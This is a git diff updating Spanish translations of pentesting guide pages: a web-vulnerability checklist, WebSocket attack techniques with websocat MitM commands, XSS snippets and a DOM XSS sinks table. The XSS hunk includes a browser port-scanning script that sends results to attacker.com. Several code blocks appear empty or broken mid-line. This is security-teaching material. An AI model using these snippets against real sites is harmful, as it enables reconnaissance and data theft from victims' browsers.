+- [ ] [**Login Bypass**](login-bypass/index.html)
+- [ ] [**Race Condition**](race-condition.md)
+- [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
+- [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
+- [ ] [**Registration Vulnerabilities**](registration-vulnerabilities.md)
 
-### **Objetos Estructurados / Funcionalidades Específicas**
+### **Objetos estructurados / Funcionalidades específicas**
 
-Algunas funcionalidades requerirán que los **datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
-Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezados de Correo Electrónico).
+Algunas funcionalidades requerirán que **los datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
+Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza **un formato específico de la entrada** (como Inyecciones de Encabezado de Correo Electrónico).
 
-- [ ] [**Deserialización**](deserialization/)
-- [ ] [**Inyección de Encabezados de Correo Electrónico**](email-injections.md)
-- [ ] [**Vulnerabilidades de JWT**](hacking-jwt-json-web-tokens.md)
-- [ ] [**Entidad Externa XML**](xxe-xee-xml-external-entity.md)
+- [ ] [**Deserialization**](deserialization/index.html)
+- [ ] [**Email Header Injection**](email-injections.md)
+- [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
+- [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
+- [ ] [**GraphQL Attacks**](../network-services-pentesting/pentesting-web/graphql.md)
+- [ ] [**gRPC-Web Attacks**](grpc-web-pentest.md)
 
 ### Archivos
 
@@ -107,23 +109,23 @@ Las funcionalidades que permiten subir archivos podrían ser vulnerables a vario
 Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
 Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían verse comprometidos.
 
-- [ ] [**Subida de Archivos**](file-upload/)
-- [ ] [**Inyección de Fórmulas**](formula-csv-doc-latex-ghostscript-injection.md)
-- [ ] [**Inyección de PDF**](xss-cross-site-scripting/pdf-injection.md)
-- [ ] [**XSS del lado del servidor**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
+- [ ] [**File Upload**](file-upload/index.html)
+- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
+- [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
+- [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 
 ### **Gestión de Identidad Externa**
 
-- [ ] [**OAUTH para Toma de Cuenta**](oauth-to-account-takeover.md)
-- [ ] [**Ataques SAML**](saml-attacks/)
+- [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
+- [ ] [**SAML Attacks**](saml-attacks/index.html)
 
 ### **Otras Vulnerabilidades Útiles**
 
 Estas vulnerabilidades podrían ayudar a explotar otras vulnerabilidades.
 
-- [ ] [**Toma de Dominio/Subdominio**](domain-subdomain-takeover.md)
+- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
 - [ ] [**IDOR**](idor.md)
-- [ ] [**Contaminación de Parámetros**](parameter-pollution.md)
-- [ ] [**Vulnerabilidad de Normalización Unicode**](unicode-injection/)
+- [ ] [**Parameter Pollution**](parameter-pollution.md)
+- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/web-vulnerabilities-methodology/README.md b/src/pentesting-web/web-vulnerabilities-methodology/README.md
index 5eb2a96fd..23a871e5e 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology/README.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology/README.md
@@ -6,12 +6,12 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 
 ## Proxies
 
-> [!NOTE]
-> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
+> [!TIP]
+> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
 
 - [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
-- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
+- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
 - [ ] [**H2C Smuggling**](../h2c-smuggling.md)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
 - [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@@ -20,7 +20,7 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 
 ## **Entrada del usuario**
 
-> [!NOTE]
+> [!TIP]
 > La mayoría de las aplicaciones web **permitirán a los usuarios ingresar algunos datos que serán procesados más tarde.**\
 > Dependiendo de la estructura de los datos que el servidor espera, algunas vulnerabilidades pueden o no aplicarse.
 
@@ -31,16 +31,16 @@ Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la
 - [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
 - [ ] [**Command Injection**](../command-injection.md)
 - [ ] [**CRLF**](../crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**Open Redirect**](../open-redirect.md)
-- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
+- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](../xss-cross-site-scripting/)
+- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 - [ ] [**XS-Search**](../xs-search.md)
 
@@ -54,11 +54,11 @@ Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, ot
 
 Si la funcionalidad puede ser utilizada para buscar algún tipo de datos dentro del backend, tal vez puedas (mal) utilizarla para buscar datos arbitrarios.
 
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](../nosql-injection.md)
 - [ ] [**LDAP Injection**](../ldap-injection.md)
 - [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](../sql-injection/)
+- [ ] [**SQL Injection**](../sql-injection/index.html)
 - [ ] [**XPATH Injection**](../xpath-injection.md)
 
 ### **Formularios, WebSockets y PostMsgs**
@@ -67,15 +67,15 @@ Cuando un websocket publica un mensaje o un formulario que permite a los usuario
 
 - [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
 - [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
-- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
+- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
 
 ### **Encabezados HTTP**
 
 Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
 
 - [ ] [**Clickjacking**](../clickjacking.md)
-- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
-- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
+- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
 - [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
 
 ### **Bypasses**
@@ -85,7 +85,7 @@ Hay varias funcionalidades específicas donde algunos métodos alternativos podr
 - [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
 - [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
 - [ ] [**Captcha Bypass**](../captcha-bypass.md)
-- [ ] [**Login Bypass**](../login-bypass/)
+- [ ] [**Login Bypass**](../login-bypass/index.html)
 - [ ] [**Race Condition**](../race-condition.md)
 - [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
 - [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
@@ -96,7 +96,7 @@ Hay varias funcionalidades específicas donde algunos métodos alternativos podr
 Algunas funcionalidades requerirán que los **datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
 Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezado de Correo Electrónico).
 
-- [ ] [**Deserialization**](../deserialization/)
+- [ ] [**Deserialization**](../deserialization/index.html)
 - [ ] [**Email Header Injection**](../email-injections.md)
 - [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
@@ -105,9 +105,9 @@ Algunas **funcionalidades específicas** también pueden ser vulnerables si se u
 
 Las funcionalidades que permiten subir archivos podrían ser vulnerables a varios problemas.\
 Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
-Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían verse comprometidos.
+Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían estar comprometidos.
 
-- [ ] [**File Upload**](../file-upload/)
+- [ ] [**File Upload**](../file-upload/index.html)
 - [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@ Los usuarios que abren archivos subidos por otros usuarios o generados automáti
 ### **Gestión de Identidad Externa**
 
 - [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
-- [ ] [**SAML Attacks**](../saml-attacks/)
+- [ ] [**SAML Attacks**](../saml-attacks/index.html)
 
 ### **Otras Vulnerabilidades Útiles**
 
@@ -124,6 +124,6 @@ Estas vulnerabilidades podrían ayudar a explotar otras vulnerabilidades.
 - [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
 - [ ] [**IDOR**](../idor.md)
 - [ ] [**Parameter Pollution**](../parameter-pollution.md)
-- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
+- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md
index 928523d51..1d2fef52b 100644
--- a/src/pentesting-web/websocket-attacks.md
+++ b/src/pentesting-web/websocket-attacks.md
@@ -56,7 +56,7 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
 ```
 ### Conexiones websocket MitM
 
-Si descubres que los clientes están conectados a un **HTTP websocket** desde tu red local actual, podrías intentar un [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
+Si encuentras que los clientes están conectados a un **HTTP websocket** desde tu red local actual, podrías intentar un [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
 Una vez que el cliente esté intentando conectarse, puedes usar:
 ```bash
 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
@@ -67,7 +67,7 @@ Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](htt
 
 ### Herramientas de depuración de Websocket
 
-- **Burp Suite** soporta la comunicación de websockets MitM de una manera muy similar a como lo hace para la comunicación HTTP regular.
+- **Burp Suite** soporta la comunicación de websockets MitM de manera muy similar a como lo hace para la comunicación HTTP regular.
 - La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
 - [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websocket** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.
@@ -83,17 +83,31 @@ Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](htt
 
 En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web usando websockets y en [**esta publicación**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
 
+## Fuzzing de Websocket
+
+La extensión de burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) ahora permite también fuzzing de mensajes de WebSocket. Puedes leer más información sobre esto [**aquí**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
+
 ## Secuestro de WebSocket entre sitios (CSWSH)
 
 El **secuestro de WebSocket entre sitios**, también conocido como **secuestro de WebSocket de origen cruzado**, se identifica como un caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afecta a los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente a través de **cookies HTTP** sin **tokens CSRF** o medidas de seguridad similares.
 
 Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de WebSocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión de la víctima con la aplicación, aprovechando la falta de protección CSRF en el mecanismo de manejo de sesiones.
 
+Para que este ataque funcione, estos son los requisitos:
+
+- La **autenticación de websocket debe basarse en cookies**
+- La cookie debe ser accesible desde el servidor del atacante (esto generalmente significa **`SameSite=None`**) y no debe tener **Protección Total de Cookies de Firefox** habilitada en Firefox y no debe haber **cookies de terceros bloqueadas** en Chrome.
+- El servidor de websocket no debe verificar el origen de la conexión (o esto debe ser eludible)
+
+Además:
+
+- Si la autenticación se basa en una conexión local (a localhost o a una red local), el ataque **será posible** ya que ninguna protección actual lo prohíbe (consulta [más información aquí](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
+
 ### Ataque Simple
 
-Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** se **envía** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket** basada en la cookie enviada.
+Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** es **enviada** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
 
-Entonces, si por **ejemplo** el **servidor de websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** se **enviará** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
+Entonces, si por **ejemplo** el **servidor de websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** será **enviada** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
 ```html
 
 ```
-- **módulo** (predeterminado, nada que explicar)
+- **módulo** (por defecto, nada que explicar)
 - [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo.
 ```html
 
 
 ```
-> [!NOTE]
-> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/index.html#httponly) si tienes la suerte suficiente.
+> [!TIP]
+> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está configurada en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/index.html#httponly) si tienes la suerte suficiente.
 
 ### Robar Contenido de la Página
 ```javascript
@@ -1343,7 +1356,7 @@ q.shift()()
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
-### Escáner de Puertos (websockets)
+### Escáner de puertos (websockets)
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i [!NOTE]
+> [!TIP]
 > **Puedes encontrar una lista más actualizada de fuentes y sumideros en** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
 
 **Fuentes comunes:**
@@ -31,56 +31,56 @@ sessionStorage
 IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
 Database
 ```
-**Sinks Comunes:**
+**Common Sinks:**
 
-| [**Redirección Abierta**](dom-xss.md#open-redirect)                             | [**Inyección de Javascript**](dom-xss.md#javascript-injection)                   | [**Manipulación de datos DOM**](dom-xss.md#dom-data-manipulation) | **jQuery**                                                             |
-| -------------------------------------------------------------------------------- | --------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
-| `location`                                                                       | `eval()`                                                                          | `scriptElement.src`                                           | `add()`                                                                |
-| `location.host`                                                                  | `Function() constructor`                                                          | `scriptElement.text`                                          | `after()`                                                              |
-| `location.hostname`                                                              | `setTimeout()`                                                                    | `scriptElement.textContent`                                   | `append()`                                                             |
-| `location.href`                                                                  | `setInterval()`                                                                   | `scriptElement.innerText`                                     | `animate()`                                                            |
-| `location.pathname`                                                              | `setImmediate()`                                                                  | `someDOMElement.setAttribute()`                               | `insertAfter()`                                                        |
-| `location.search`                                                                | `execCommand()`                                                                   | `someDOMElement.search`                                       | `insertBefore()`                                                       |
-| `location.protocol`                                                              | `execScript()`                                                                    | `someDOMElement.text`                                         | `before()`                                                             |
-| `location.assign()`                                                              | `msSetImmediate()`                                                                | `someDOMElement.textContent`                                  | `html()`                                                               |
-| `location.replace()`                                                             | `range.createContextualFragment()`                                                | `someDOMElement.innerText`                                    | `prepend()`                                                            |
-| `open()`                                                                         | `crypto.generateCRMFRequest()`                                                  | `someDOMElement.outerText`                                    | `replaceAll()`                                                         |
-| `domElem.srcdoc`                                                                 | **\`\`**[**Manipulación de ruta de archivo local**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value`                                        | `replaceWith()`                                                        |
-| `XMLHttpRequest.open()`                                                          | `FileReader.readAsArrayBuffer()`                                                  | `someDOMElement.name`                                         | `wrap()`                                                               |
-| `XMLHttpRequest.send()`                                                          | `FileReader.readAsBinaryString()`                                               | `someDOMElement.target`                                       | `wrapInner()`                                                          |
-| `jQuery.ajax()`                                                                  | `FileReader.readAsDataURL()`                                                    | `someDOMElement.method`                                       | `wrapAll()`                                                            |
-| `$.ajax()`                                                                       | `FileReader.readAsText()`                                                       | `someDOMElement.type`                                         | `has()`                                                                |
-| **\`\`**[**Manipulación de solicitud Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()`                                                       | `someDOMElement.backgroundImage`                              | `constructor()`                                                        |
-| `XMLHttpRequest.setRequestHeader()`                                              | `FileReader.root.getFile()`                                                     | `someDOMElement.cssText`                                      | `init()`                                                               |
-| `XMLHttpRequest.open()`                                                          | `FileReader.root.getFile()`                                                     | `someDOMElement.codebase`                                     | `index()`                                                              |
-| `XMLHttpRequest.send()`                                                          | [**Manipulación de enlaces**](dom-xss.md#link-manipulation)                     | `someDOMElement.innerHTML`                                    | `jQuery.parseHTML()`                                                   |
-| `jQuery.globalEval()`                                                            | `someDOMElement.href`                                                           | `someDOMElement.outerHTML`                                    | `$.parseHTML()`                                                        |
-| `$.globalEval()`                                                                 | `someDOMElement.src`                                                            | `someDOMElement.insertAdjacentHTML`                           | [**Inyección de JSON del lado del cliente**](dom-xss.md#client-side-sql-injection) |
-| **\`\`**[**Manipulación de almacenamiento HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action`                                                         | `someDOMElement.onevent`                                      | `JSON.parse()`                                                         |
-| `sessionStorage.setItem()`                                                       | [**Inyección de XPath**](dom-xss.md#xpath-injection)                             | `document.write()`                                            | `jQuery.parseJSON()`                                                   |
-| `localStorage.setItem()`                                                         | `document.evaluate()`                                                             | `document.writeln()`                                          | `$.parseJSON()`                                                        |
-| **``**[**`Denegación de Servicio`**](dom-xss.md#denial-of-service)**``**        | `someDOMElement.evaluate()`                                                       | `document.title`                                              | **\`\`**[**Manipulación de Cookies**](dom-xss.md#cookie-manipulation)      |
-| `requestFileSystem()`                                                            | **\`\`**[**Manipulación de dominio de documento**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()`                | `document.cookie`                                                      |
-| `RegExp()`                                                                       | `document.domain`                                                                 | `history.pushState()`                                         | [**Envenenamiento de URL de WebSocket**](dom-xss.md#websocket-url-poisoning)      |
-| [**Inyección SQL del lado del cliente**](dom-xss.md#client-side-sql-injection)   | [**Manipulación de mensajes web**](dom-xss.md#web-message-manipulation)          | `history.replaceState()`                                      | `WebSocket`                                                            |
-| `executeSql()`                                                                   | `postMessage()`                                                                   | \`\`                                                          | \`\`                                                                   |
+| [**Open Redirect**](dom-xss.md#open-redirect)                                    | [**Javascript Injection**](dom-xss.md#javascript-injection)                         | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation) | **jQuery**                                                             |
+| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
+| `location`                                                                       | `eval()`                                                                            | `scriptElement.src`                                           | `add()`                                                                |
+| `location.host`                                                                  | `Function() constructor`                                                            | `scriptElement.text`                                          | `after()`                                                              |
+| `location.hostname`                                                              | `setTimeout()`                                                                      | `scriptElement.textContent`                                   | `append()`                                                             |
+| `location.href`                                                                  | `setInterval()`                                                                     | `scriptElement.innerText`                                     | `animate()`                                                            |
+| `location.pathname`                                                              | `setImmediate()`                                                                    | `someDOMElement.setAttribute()`                               | `insertAfter()`                                                        |
+| `location.search`                                                                | `execCommand()`                                                                     | `someDOMElement.search`                                       | `insertBefore()`                                                       |
+| `location.protocol`                                                              | `execScript()`                                                                      | `someDOMElement.text`                                         | `before()`                                                             |
+| `location.assign()`                                                              | `msSetImmediate()`                                                                  | `someDOMElement.textContent`                                  | `html()`                                                               |
+| `location.replace()`                                                             | `range.createContextualFragment()`                                                  | `someDOMElement.innerText`                                    | `prepend()`                                                            |
+| `open()`                                                                         | `crypto.generateCRMFRequest()`                                                      | `someDOMElement.outerText`                                    | `replaceAll()`                                                         |
+| `domElem.srcdoc`                                                                 | **\`\`**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value`                                        | `replaceWith()`                                                        |
+| `XMLHttpRequest.open()`                                                          | `FileReader.readAsArrayBuffer()`                                                    | `someDOMElement.name`                                         | `wrap()`                                                               |
+| `XMLHttpRequest.send()`                                                          | `FileReader.readAsBinaryString()`                                                   | `someDOMElement.target`                                       | `wrapInner()`                                                          |
+| `jQuery.ajax()`                                                                  | `FileReader.readAsDataURL()`                                                        | `someDOMElement.method`                                       | `wrapAll()`                                                            |
+| `$.ajax()`                                                                       | `FileReader.readAsText()`                                                           | `someDOMElement.type`                                         | `has()`                                                                |
+| **\`\`**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation)    | `FileReader.readAsFile()`                                                           | `someDOMElement.backgroundImage`                              | `constructor()`                                                        |
+| `XMLHttpRequest.setRequestHeader()`                                              | `FileReader.root.getFile()`                                                         | `someDOMElement.cssText`                                      | `init()`                                                               |
+| `XMLHttpRequest.open()`                                                          | `FileReader.root.getFile()`                                                         | `someDOMElement.codebase`                                     | `index()`                                                              |
+| `XMLHttpRequest.send()`                                                          | [**Link manipulation**](dom-xss.md#link-manipulation)                               | `someDOMElement.innerHTML`                                    | `jQuery.parseHTML()`                                                   |
+| `jQuery.globalEval()`                                                            | `someDOMElement.href`                                                               | `someDOMElement.outerHTML`                                    | `$.parseHTML()`                                                        |
+| `$.globalEval()`                                                                 | `someDOMElement.src`                                                                | `someDOMElement.insertAdjacentHTML`                           | [**Client-side JSON injection**](dom-xss.md#client-side-sql-injection) |
+| **\`\`**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action`                                                             | `someDOMElement.onevent`                                      | `JSON.parse()`                                                         |
+| `sessionStorage.setItem()`                                                       | [**XPath injection**](dom-xss.md#xpath-injection)                                   | `document.write()`                                            | `jQuery.parseJSON()`                                                   |
+| `localStorage.setItem()`                                                         | `document.evaluate()`                                                               | `document.writeln()`                                          | `$.parseJSON()`                                                        |
+| **``**[**`Denial of Service`**](dom-xss.md#denial-of-service)**``**              | `someDOMElement.evaluate()`                                                         | `document.title`                                              | **\`\`**[**Cookie manipulation**](dom-xss.md#cookie-manipulation)      |
+| `requestFileSystem()`                                                            | **\`\`**[**Document-domain manipulation**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()`                | `document.cookie`                                                      |
+| `RegExp()`                                                                       | `document.domain`                                                                   | `history.pushState()`                                         | [**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning)      |
+| [**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection)            | [**Web-message manipulation**](dom-xss.md#web-message-manipulation)                 | `history.replaceState()`                                      | `WebSocket`                                                            |
+| `executeSql()`                                                                   | `postMessage()`                                                                     | \`\`                                                          | \`\`                                                                   |
 
-El **`innerHTML`** sink no acepta elementos `script` en ningún navegador moderno, ni se activarán eventos `svg onload`. Esto significa que necesitarás usar elementos alternativos como `img` o `iframe`.
+El **`innerHTML`** sink no acepta elementos `script` en ningún navegador moderno, ni se activarán los eventos `svg onload`. Esto significa que necesitarás usar elementos alternativos como `img` o `iframe`.
 
 Este tipo de XSS es probablemente el **más difícil de encontrar**, ya que necesitas mirar dentro del código JS, ver si está **usando** algún objeto cuyo **valor controlas**, y en ese caso, ver si hay **alguna forma de abusar** de él para ejecutar JS arbitrario.
 
-## Herramientas para encontrarlos
+## Tools to find them
 
 - [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
-- Extensión de navegador para verificar cada dato que llega a un sink potencial: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
+- Extensión de navegador para verificar todos los datos que llegan a un sink potencial: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
 
-## Ejemplos
+## Examples
 
-### Redirección Abierta
+### Open Redirect
 
 De: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
 
-**Las vulnerabilidades de redirección abierta en el DOM** ocurren cuando un script escribe datos, que un atacante puede controlar, en un sink capaz de iniciar navegación entre dominios.
+Las **vulnerabilidades de redirección abierta en el DOM** ocurren cuando un script escribe datos, que un atacante puede controlar, en un sink capaz de iniciar navegación entre dominios.
 
 Es crucial entender que ejecutar código arbitrario, como **`javascript:alert(1)`**, es posible si tienes control sobre el inicio de la URL donde ocurre la redirección.
 
@@ -137,7 +137,7 @@ From: [https://portswigger.net/web-security/dom-based/document-domain-manipulati
 
 **Las vulnerabilidades de manipulación del dominio del documento** ocurren cuando un script establece la propiedad `document.domain` utilizando datos que un atacante puede controlar.
 
-La propiedad `document.domain` juega un **papel clave** en la **aplicación** de la **política de mismo origen** por parte de los navegadores. Cuando dos páginas de diferentes orígenes establecen su `document.domain` al **mismo valor**, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos **límites** en los valores asignables a `document.domain`, impidiendo la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Típicamente, los navegadores permiten el uso de **dominios** **hijos** o **padres**.
